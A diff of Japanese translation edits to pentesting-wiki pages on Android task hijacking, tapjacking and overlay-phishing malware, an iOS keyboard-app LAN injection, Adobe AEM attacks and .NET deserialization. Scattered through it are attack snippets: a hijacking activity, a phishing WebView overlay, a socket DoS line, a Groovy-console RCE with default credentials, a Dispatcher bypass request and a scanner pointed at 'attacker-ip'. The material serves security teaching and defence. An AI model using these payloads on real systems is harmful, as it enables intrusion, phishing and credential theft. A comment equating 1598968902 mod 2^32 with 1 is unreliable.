すべてのバインダースタブは自動的に **トランザクションコード `0x5f4e5446`**(`1598968902` 十進法、ASCII "_NTF")を実装します。
|
||||
```bash
|
||||
# "ping" the service
|
||||
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
```
|
||||
有効な応答は、`Parcel` 内に UTF-16 文字列としてエンコードされたインターフェース名を返します。
|
||||
有効な応答は、`Parcel`内にUTF-16文字列としてエンコードされたインターフェース名を返します。
|
||||
|
||||
### 3. トランザクションの呼び出し
|
||||
構文: `service call <name> <code> [type value ...]`
|
||||
|
||||
一般的な引数指定子:
|
||||
* `i32 <int>` – 符号付き 32 ビット値
|
||||
* `i64 <long>` – 符号付き 64 ビット値
|
||||
* `s16 <string>` – UTF-16 文字列 (Android 13+ は `utf16` を使用)
|
||||
* `i32 <int>` – 符号付き32ビット値
|
||||
* `i64 <long>` – 符号付き64ビット値
|
||||
* `s16 <string>` – UTF-16文字列(Android 13+では`utf16`を使用)
|
||||
|
||||
例 – MediaTek ハンドセットで uid **1** でネットワーク監視を開始:
|
||||
例 – MediaTekハンドセットでuid **1**のネットワーク監視を開始:
|
||||
```bash
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## タスク、バックスタックとフォアグラウンドアクティビティ
|
||||
|
||||
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックは、アクティビティが開かれた時点に基づいてアクティビティを順序付け、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
|
||||
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた順に並べられ、最も最近のアクティビティが最上部に表示され、これが**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
|
||||
|
||||
アクティビティの遷移の簡単な内訳は以下の通りです:
|
||||
アクティビティの遷移の簡単な説明は以下の通りです:
|
||||
|
||||
- **アクティビティ 1** はフォアグラウンドの唯一のアクティビティとして開始されます。
|
||||
- **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。
|
||||
- **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに表示されます。
|
||||
- **アクティビティ 3** を開始すると、**アクティビティ 1** と **アクティビティ 2** はスタックのさらに後ろに移動し、**アクティビティ 3** が前面に出ます。
|
||||
- **アクティビティ 3** を閉じると、**アクティビティ 2** が再びフォアグラウンドに戻り、Androidの効率的なタスクナビゲーションメカニズムを示します。
|
||||
|
||||
@ -19,9 +19,9 @@ Androidにおいて、**タスク**はユーザーが特定の作業を完了す
|
||||
|
||||
## タスクアフィニティ攻撃
|
||||
|
||||
`taskAffinity`は、`Activity`が*属したい*タスクをAndroidに伝えます。2つのアクティビティが同じアフィニティを共有している場合、**Androidは異なるAPKから来たものであっても、それらを同じバックスタック内にマージすることが許可されています**。
|
||||
`taskAffinity`は、`Activity`が*属したい*タスクをAndroidに伝えます。2つのアクティビティが同じアフィニティを共有している場合、**Androidは異なるAPKから来たものであっても、それらを同じバックスタック内にマージすることが許可されます**。
|
||||
|
||||
攻撃者がそのスタックの**ルート**に悪意のあるアクティビティを配置できれば、被害者が正当なアプリケーションを開くたびに、悪意のあるUIがユーザーが最初に見るものになります – フィッシングや悪用の権限要求に最適です。
|
||||
攻撃者がそのスタックの**ルート**に悪意のあるアクティビティを配置できれば、被害者が正当なアプリケーションを開くたびに、悪意のあるUIがユーザーの最初に表示されます - フィッシングや悪用の権限要求に最適です。
|
||||
|
||||
攻撃面は多くの開発者が考えるよりも広範囲で、**すべてのアクティビティは自動的にアプリケーションパッケージ名と等しいアフィニティを継承します**(開発者が`android:taskAffinity=""`を設定しない限り)。したがって、*何もしない*ことは、Android 11以前のバージョンでタスクハイジャックに対してアプリを開いたままにします。
|
||||
|
||||
@ -40,14 +40,14 @@ android:launchMode="singleTask" >
|
||||
</activity>
|
||||
```
|
||||
2. 悪意のあるアプリが一度起動され、タスク(偽のアフィニティを持つ)が最近のタスクに存在します。
|
||||
3. ユーザーが後で本物のアプリケーションを開くと、Androidは**ルートアフィニティがパッケージと一致する**タスクがすでに存在することを見つけ、そのタスクをフォアグラウンドに持ってきます。
|
||||
3. ユーザーが後で本物のアプリケーションを開くと、Androidはすでに**ルートアフィニティがパッケージと一致するタスク**があることを見つけ、そのタスクをフォアグラウンドに持ってきます。
|
||||
4. 攻撃者のUIが最初に表示されます。
|
||||
|
||||
### デフォルトアフィニティ(`singleTask`なし)バリアント – コーラーIDケーススタディ
|
||||
### デフォルトアフィニティ(`singleTask`なし)バリアント - コーラーIDケーススタディ
|
||||
|
||||
**コーラーID (caller.id.phone.number.block)** アプリケーションで報告された脆弱性は、攻撃がデフォルトの`standard`起動モードに対しても*機能する*ことを示しています:
|
||||
**コーラーID(caller.id.phone.number.block)**アプリケーションで報告された脆弱性は、攻撃が*デフォルトの`standard`起動モード*に対しても機能することを示しています:
|
||||
|
||||
1. 攻撃者アプリケーションは偽のルートアクティビティを作成し、すぐに自分自身を隠します:
|
||||
1. 攻撃者アプリが偽のルートアクティビティを作成し、すぐに自分自身を隠します:
|
||||
```kotlin
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
@ -56,7 +56,7 @@ moveTaskToBack(true) // タスクを最近のものに保ちながら視界か
|
||||
}
|
||||
}
|
||||
```
|
||||
2. マニフェストは、被害者のパッケージを`taskAffinity`にコピーするだけで済みます:
|
||||
2. マニフェストは被害者のパッケージを`taskAffinity`にコピーするだけで済みます:
|
||||
```xml
|
||||
<activity android:name=".HackActivity"
|
||||
android:exported="true"
|
||||
@ -70,7 +70,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
3. ユーザーが悪意のあるアプリを**一度**インストールして開くと、被害者パッケージと等しいアフィニティを持つタスクが存在します(ただしバックグラウンドにあります)。
|
||||
4. 本物のコーラーIDアプリケーションが起動されると、Androidはそのタスクを再利用し、`HackActivity`をフォアグラウンドに持ってきます → フィッシングウィンドウ/権限の悪用。
|
||||
|
||||
> 注:**Android 11 (API 30)** 以降、システムはデフォルトで同じUIDの一部でない2つのパッケージを同じタスクに配置しないため、この特定のバリアントを軽減します。古いバージョンは依然として脆弱です。
|
||||
> 注:**Android 11(API 30)**以降、システムはデフォルトで同じUIDの一部でない2つのパッケージを同じタスクに配置しないため、この特定のバリアントを軽減します。古いバージョンは依然として脆弱です。
|
||||
|
||||
---
|
||||
|
||||
@ -80,7 +80,7 @@ Googleの2020年5月のセキュリティ速報は、**StrandHogg 2.0**と呼ば
|
||||
|
||||
重要なポイント:
|
||||
|
||||
* ゼロ権限の悪意のあるアプリは、一度開かれると、実行中のタスクを反復処理し、隠されたAPIを呼び出して**自分のアクティビティを任意のタスクに再親子化**できます。
|
||||
* ゼロ権限の悪意のあるアプリは、一度開かれると、実行中のタスクを反復処理し、隠されたAPIを呼び出して自分のアクティビティを任意のタスクに**再親子化**できます。
|
||||
* アクティビティが実行時に挿入されるため、`launchMode`や静的マニフェスト分析では事前に攻撃を検出できません。
|
||||
* **Android 8.0/8.1/9**(2020年5月SPL)にチェックをバックポートすることで修正されました。**Android 10以降は影響を受けません。**
|
||||
|
||||
@ -94,10 +94,10 @@ Googleの2020年5月のセキュリティ速報は、**StrandHogg 2.0**と呼ば
|
||||
|
||||
1. **静的レビュー** – ターゲットAPKから`AndroidManifest.xml`を引き出し、各`<activity>`(またはグローバル`<application>`要素)が`android:taskAffinity=""`(空)**または**カスタマイズされた値を含んでいることを確認します。ツールは次の通りです:
|
||||
```bash
|
||||
# apkanalyzerを使用して(Android SDK)
|
||||
# apkanalyzerを使用(Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
|
||||
# AXMLPrinter2を使用して
|
||||
# AXMLPrinter2を使用
|
||||
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```
|
||||
2. **動的レビュー** – デバイス上でターゲットアプリを開き、タスクをリストします:
|
||||
@ -121,7 +121,7 @@ run app.activity.info com.victim
|
||||
* `<application>`レベルで`android:taskAffinity=""`を明示的に設定する(推奨)**または**各アクティビティにユニークでプライベートなアフィニティを与える。
|
||||
* 非常に敏感な画面に対しては、上記を`android:launchMode="singleInstance"`または現代の[`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode)保護と組み合わせる。
|
||||
* アプリの`targetSdkVersion`をアップグレードし、タスクがデフォルトでパッケージ間で共有されない**Android 11**の動作変更を強制する。
|
||||
* **Android 12 (API 31) 以上**をターゲットにして、必須の`android:exported`属性が開発者にすべての外部到達可能なコンポーネントを監査させる。
|
||||
* **Android 12(API 31)以上**をターゲットにして、必須の`android:exported`属性が開発者にすべての外部到達可能なコンポーネントを監査させる。
|
||||
* 実行時の自己防御を考慮する:定期的に`ActivityTaskManager`をクエリして、最上部のアクティビティのパッケージが自分のものであることを確認する。
|
||||
|
||||
---
|
||||
|
@ -107,7 +107,7 @@ adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> ステップ1で作成された値は、パーサーを「ファストパス」から外し、`--runtime-flags=0x104`(`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)がフレームワークによって提供されたかのように受け入れられる2番目の合成コマンドを追加します。アプリが生成されると、JDWPソケットが開かれ、通常の動的デバッグトリック(メソッド置換、変数パッチ、ライブFrida注入など)が**APKやデバイスのブートイメージを変更することなく**可能になります。
|
||||
> ステップ1で作成された値は、パーサーを「ファストパス」から外し、`--runtime-flags=0x104`(`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)をフレームワークから提供されたかのように受け入れる2番目の合成コマンドを追加します。アプリが生成されると、JDWPソケットが開かれ、通常の動的デバッグトリック(メソッド置換、変数パッチ、ライブFrida注入など)が**APKやデバイスのブートイメージを変更することなく**可能になります。
|
||||
|
||||
## 検出と緩和
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**Tapjacking**は、**悪意のある** **アプリケーション**が起動し、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、その間に対話を被害者アプリに渡します。\
|
||||
**Tapjacking**は、**悪意のある** **アプリケーション**が起動し、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、その間にその対話を被害者アプリに渡します。\
|
||||
実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。
|
||||
|
||||
### 検出
|
||||
@ -35,7 +35,7 @@ android:layout_height="wrap_content"
|
||||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## エクスプロイト
|
||||
## Exploitation
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
@ -54,22 +54,22 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用すると、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\
|
||||
|
||||
緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用して:
|
||||
緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)を使用すると:
|
||||
|
||||
> アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認することが重要な場合があります。たとえば、権限リクエストの承認、購入、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを実行させようとする可能性があります。これに対する対策として、フレームワークは、敏感な機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
|
||||
> 時には、アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認することが不可欠です。たとえば、権限リクエストを承認したり、購入を行ったり、広告をクリックしたりする場合です。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
|
||||
>
|
||||
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるとき、ビューはタッチを受け取らなくなります。
|
||||
|
||||
---
|
||||
|
||||
## アクセシビリティオーバーレイフィッシング(バンキングトロイの木馬バリアント)
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
クラシックなTapjackingに加えて、現代のAndroidバンキングマルウェアファミリー(例: **ToxicPanda**, BrasDex, Sovaなど)は、**Accessibility Service**を悪用して、正当なアプリケーションの上にフルスクリーンのWebView **オーバーレイ**を配置し、なおかつ**ユーザー入力を下のビューに転送する**ことができます。これにより、信憑性が大幅に向上し、攻撃者は資格情報、OTPを盗んだり、不正な取引を自動化したりすることができます。
|
||||
クラシックなTapjackingに加えて、現代のAndroidバンキングマルウェアファミリー(例: **ToxicPanda**、BrasDex、Sovaなど)は、**Accessibility Service**を悪用して、正当なアプリケーションの上にフルスクリーンのWebView **オーバーレイ**を配置し、ユーザー入力を下のビューに**転送する**ことができます。これにより、信憑性が大幅に向上し、攻撃者は資格情報、OTPを盗んだり、不正な取引を自動化したりすることができます。
|
||||
|
||||
### 仕組み
|
||||
1. 悪意のあるAPKは、非常に敏感な`BIND_ACCESSIBILITY_SERVICE`権限を要求し、通常は偽のGoogle/Chrome/PDFビューアーダイアログの背後にリクエストを隠します。
|
||||
2. ユーザーがサービスを有効にすると、マルウェアは追加の危険な権限(`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …)を付与するために必要なタップをプログラム的にシミュレートします。
|
||||
3. **WebView**が膨張し、**`TYPE_ACCESSIBILITY_OVERLAY`**ウィンドウタイプを使用してウィンドウマネージャーに追加されます。オーバーレイは完全に不透明または半透明にレンダリングされ、元のタッチがバックグラウンドアクティビティに配信されるように*「通過」*としてフラグを立てることができます(したがって、取引は実際に行われ、犠牲者はフィッシングフォームのみを見ることになります)。
|
||||
2. ユーザーがサービスを有効にすると、マルウェアは追加の危険な権限(`READ_SMS`、`SYSTEM_ALERT_WINDOW`、`REQUEST_INSTALL_PACKAGES`など)を付与するために必要なタップをプログラム的にシミュレートします。
|
||||
3. **WebView**が膨張され、**`TYPE_ACCESSIBILITY_OVERLAY`**ウィンドウタイプを使用してウィンドウマネージャーに追加されます。オーバーレイは完全に不透明または半透明にレンダリングでき、元のタッチがバックグラウンドアクティビティに配信されるように*「透過的」*としてフラグを立てることができます(したがって、被害者はフィッシングフォームのみを見ている間に取引が実際に行われます)。
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -86,19 +86,19 @@ PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
### 銀行トロイの典型的なワークフロー
|
||||
* インストールされたパッケージをクエリする (`QUERY_ALL_PACKAGES`) ことで、現在開いている銀行/ウォレットアプリを特定します。
|
||||
* 特定のアプリケーション(ロゴ、色、i18n文字列など)を完璧に模倣した**HTML/JSオーバーレイテンプレート**をC2からダウンロードします。
|
||||
* オーバーレイを表示し、認証情報/PIN/パターンを収集します。
|
||||
* **Accessibility API** (`performGlobalAction`, `GestureDescription`) を使用して、バックグラウンドでの転送を自動化します。
|
||||
* 現在開いている銀行/ウォレットアプリを特定するために、インストールされたパッケージをクエリする(`QUERY_ALL_PACKAGES`)。
|
||||
* 特定のアプリケーション(ロゴ、色、i18n文字列など)を完璧に模倣した**HTML/JSオーバーレイテンプレート**をC2からダウンロードする。
|
||||
* オーバーレイを表示し、認証情報/PIN/パターンを収集する。
|
||||
* **Accessibility API**(`performGlobalAction`、`GestureDescription`)を使用して、バックグラウンドでの転送を自動化する。
|
||||
|
||||
### 検出と緩和
|
||||
* `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`を使用してインストールされたアプリのリストを監査します。
|
||||
* アプリケーション側(銀行/ウォレット)から:
|
||||
- 敏感なビューに対して**`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`**(Android 14+)を有効にして、非Playストアサービスをブロックします。
|
||||
- `setFilterTouchesWhenObscured(true)`と`FLAG_SECURE`を組み合わせます。
|
||||
* `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`を使用してインストールされたアプリのリストを監査する。
|
||||
* アプリケーション側(銀行/ウォレット):
|
||||
- 敏感なビューに対して**`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`**(Android 14+)を有効にして、非Playストアサービスをブロックする。
|
||||
- `setFilterTouchesWhenObscured(true)`と`FLAG_SECURE`を組み合わせる。
|
||||
* システムの強化:
|
||||
- *不明なソースからのインストール*と*信頼できないアプリのアクセシビリティ*を無効にします。
|
||||
- PlayProtectを強制し、最新のデバイスを使用します。
|
||||
- *不明なソースからのインストール*と*信頼できないアプリのアクセシビリティ*を無効にする。
|
||||
- PlayProtectを強制し、デバイスを最新の状態に保つ。
|
||||
|
||||
## 参考文献
|
||||
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS版の商用**「Air Keyboard」**アプリケーション(App Store ID 6463187929)は、**認証や発信元の検証なしにキーストロークフレームを受け入れる**ローカルネットワークサービスを公開しています。インストールされているバージョンに応じて、サービスは次のいずれかです:
|
||||
iOS版の商用**“Air Keyboard”**アプリケーション(App Store ID 6463187929)は、**認証や発信元の検証なしにキーストロークフレームを受け入れる**ローカルネットワークサービスを公開しています。インストールされているバージョンに応じて、サービスは次のいずれかです:
|
||||
|
||||
* **≤ 1.0.4** – **ポート 8888** で生のTCPリスナーが、2バイトの長さヘッダーの後に*デバイスID*とASCIIペイロードを期待します。
|
||||
* **≥ 1.0.5 (2025年6月)** – *同じ*ポート(**8888**)で**WebSocket**リスナーが、`{"type":1,"text":"…"}`のような**JSON**キーを解析します。
|
||||
* **≤ 1.0.4** – **ポート 8888** で2バイトの長さヘッダーの後に*device-id*とASCIIペイロードを期待する生のTCPリスナー。
|
||||
* **≥ 1.0.5 (2025年6月)** – **WebSocket**リスナーが*同じ*ポート(**8888**)で、`{"type":1,"text":"…"}`のような**JSON**キーを解析します。
|
||||
|
||||
したがって、同じWi-Fi / サブネット上の任意のデバイスは、**被害者の電話に任意のキーボード入力を注入し、完全なリモートインタラクションのハイジャックを達成**できます。
|
||||
対応するAndroidビルドは**ポート 55535**でリスニングします。弱いAES-ECBハンドシェイクを実行しますが、作成されたゴミデータでも**OpenSSL内で未処理の例外を引き起こし**、バックグラウンドサービスをクラッシュさせます(**DoS**)。
|
||||
@ -120,7 +120,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
Air Keyboardは**孤立したケースではありません**。他のモバイル「リモートキーボード/マウス」ユーティリティも同じ欠陥を抱えています:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 は認証されていないコマンド実行とプレーンテキストのキーロギングを許可します。
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 は認証されていないRCEとトラフィックスヌーピングを許可します。
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 は認証されていないRCEとトラフィックスヌーピングを行います。
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 はデフォルトでパスワードなし、弱いPINのブルートフォースとクリアテキストの漏洩があります。
|
||||
|
||||
これらのケースは、**モバイルアプリのネットワークに対する攻撃面の体系的な無視**を浮き彫りにしています。
|
||||
@ -147,7 +147,7 @@ Air Keyboardは**孤立したケースではありません**。他のモバイ
|
||||
ブルーチーム/レッドチームのクイックウィン:
|
||||
|
||||
* **ネットワークハンティング:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` または Wiresharkフィルター `tcp.port == 8888`。
|
||||
* **ランタイム検査:** Fridaスクリプトで`socket()`/`NWConnection`をフックして予期しないリスナーをリストします。
|
||||
* **ランタイム検査:** `socket()`/`NWConnection`をフックするFridaスクリプトで予期しないリスナーをリストします。
|
||||
* **iOSアプリプライバシーレポート(設定 ▸ プライバシーとセキュリティ ▸ アプリプライバシーレポート)**はLANアドレスに接続するアプリを強調表示します – 悪意のあるサービスを見つけるのに役立ちます。
|
||||
* **モバイルEDR**は、ポート8888のクリアテキストTCPペイロード内のJSONキー`"selectionStart"`、`"selectionEnd"`に対してシンプルなYara-Lルールを追加できます。
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズCMSです。
|
||||
> 攻撃者の視点から見ると、AEMインスタンスは非常に頻繁に危険な開発エンドポイント、弱いDispatcherルール、デフォルトの認証情報、そして四半期ごとにパッチが適用される長いCVEのリストを露出します。
|
||||
|
||||
以下のチェックリストは、実際のエンゲージメントで繰り返し現れる**外部からアクセス可能な(認証なしの)攻撃面**に焦点を当てています(2022-2025)。
|
||||
以下のチェックリストは、実際のエンゲージメントで繰り返し現れる**外部から到達可能な(認証なしの)攻撃面**に焦点を当てています(2022-2025)。
|
||||
|
||||
---
|
||||
|
||||
@ -29,14 +29,14 @@ X-Vary: Accept-Encoding
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | **DefaultGetServlet**を介したJCRノード | よくブロックされるが、*Dispatcherバイパス*(下記参照)が機能する。
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | ページツリー、内部パス、ユーザー名の漏洩。
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felixコンソール | デフォルトで403; もし公開され、クレデンシャルが見つかれば⇒ バンドルアップロードRCE。
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felixコンソール | デフォルトで403; もし公開され、認証情報が見つかれば⇒ バンドルアップロードRCE。
|
||||
`/crx/packmgr/index.jsp` | パッケージマネージャー | 認証されたコンテンツパッケージを許可→ JSPペイロードのアップロード。
|
||||
`/etc/groovyconsole/**` | AEM Groovyコンソール | もし公開されれば→ 任意のGroovy / Java実行。
|
||||
`/libs/cq/AuditlogSearchServlet.json` | 監査ログ | 情報漏洩。
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibsダンプ | XSSベクター。
|
||||
|
||||
### Dispatcherバイパスのトリック
|
||||
ほとんどのプロダクションサイトは*Dispatcher*(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子を**セミコロンまたはエンコードされた改行の後に追加すること**でバイパスできます:
|
||||
ほとんどのプロダクションサイトは*Dispatcher*(リバースプロキシ)の背後にあります。そのフィルタールールは、許可された静的拡張子を**セミコロンまたはエンコードされた改行の後に追加することで**バイパスできます:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
@ -46,11 +46,11 @@ GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
|
||||
## 3. 一般的な誤設定(2025年にも生き残っている)
|
||||
|
||||
1. **匿名POSTサーブレット** – `POST /.json`で`:operation=import`を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで`*.json`のPOSTをブロックすることで修正できます。 【】
|
||||
2. **世界中から読み取り可能なユーザープロファイル** – デフォルトのACLは`/home/users/**/profile/*`に対して`jcr:read`を全員に付与します。
|
||||
1. **匿名POSTサーブレット** – `POST /.json` に `:operation=import` を使用すると、新しいJCRノードを植え付けることができます。Dispatcherで `*.json` POSTをブロックすることで修正できます。 【】
|
||||
2. **世界中から読み取り可能なユーザープロファイル** – デフォルトのACLは `/home/users/**/profile/*` に対して `jcr:read` を全員に付与します。
|
||||
3. **デフォルトの資格情報** – `admin:admin`、`author:author`、`replication:replication`。
|
||||
4. **WCMDebugFilter**が有効 ⇒ `?debug=layout`を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ見つかる)。
|
||||
5. **Groovyコンソールが公開** – Groovyスクリプトを送信することでリモートコード実行:
|
||||
4. **WCMDebugFilter** 有効 ⇒ `?debug=layout` を介した反射型XSS(CVE-2016-7882、レガシー6.4インストールでまだ発見されています)。
|
||||
5. **Groovyコンソールが公開されている** – Groovyスクリプトを送信することでリモートコード実行が可能です:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
@ -66,7 +66,7 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 作成されたURLを介したDOMベースのXSS。 【】
|
||||
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 暗号設計の欠陥 → 秘密の復号(低権限の資格情報が必要)。 【】
|
||||
|
||||
常に顧客のサービスパックに一致する*APSB*の公告を確認し、最新の**6.5.22**または*Cloud Service 2024.11*をリクエストしてください。
|
||||
常に顧客のサービスパックに一致する*APSB* bulletinを確認し、最新の **6.5.22** または *Cloud Service 2024.11* をリクエストしてください。
|
||||
|
||||
---
|
||||
|
||||
@ -97,7 +97,7 @@ Now request `/content/evil.jsp` – JSPはAEMプロセスユーザーで実行
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **コンテンツブルートフォース** – 隠れたコンポーネントを発見するために`/_jcr_content.(json|html)`を再帰的にリクエストします。
|
||||
* **Content Brute-force** – 隠れたコンポーネントを発見するために`/_jcr_content.(json|html)`を再帰的にリクエストします。
|
||||
* **osgi-infect** – クレデンシャルが利用可能な場合、`/system/console/bundles`を介して悪意のあるOSGiバンドルをアップロードします。
|
||||
|
||||
---
|
||||
@ -106,7 +106,7 @@ python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
|
||||
1. インスタンスを**最新の累積サービスパック**(2025年7月現在:6.5.22)に保つ。
|
||||
2. デフォルトアカウントを削除/ローテーションし、SSO/SAMLを強制する。
|
||||
3. **ディスパッチャーフィルター**を厳格にし、匿名ユーザーに対して`;`、エンコードされた改行、`*.json`または`*.querybuilder.json`を拒否する。
|
||||
3. **ディスパッチャーフィルター**を厳格化する – 匿名ユーザーに対して`;`、エンコードされた改行、`*.json`または`*.querybuilder.json`を拒否する。
|
||||
4. コンソール(`/system/console`、`/crx/*`、`/etc/groovyconsole`)をIP許可リストで無効化または保護する。
|
||||
5. Adobeが提供する*匿名権限ハードニング*パッケージを適用する。
|
||||
|
||||
|
@ -1,18 +1,18 @@
|
||||
# 基本的な .Net デシリアライズ (ObjectDataProvider ガジェット、ExpandedWrapper、および Json.Net)
|
||||
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
この記事は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net および xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるか**に捧げられています。
|
||||
この投稿は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net と xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるか**に捧げられています。
|
||||
|
||||
## ObjectDataProvider ガジェット
|
||||
|
||||
ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップして作成します。_\
|
||||
ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップし、作成します。_\
|
||||
そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、**任意のオブジェクトをラップする**ことを可能にし、_**MethodParameters**_を使用して**任意のパラメータを設定し、**その後、**MethodNameを使用して任意の関数を呼び出す**ことができます。\
|
||||
したがって、任意の**オブジェクト**は、**デシリアライズされる際に**、**パラメータ**を持つ**関数**を**実行**します。
|
||||
|
||||
### **これはどのように可能か**
|
||||
|
||||
**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内で定義および実装されています。
|
||||
**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` の **PresentationFramework.dll** 内で定義および実装されています。
|
||||
|
||||
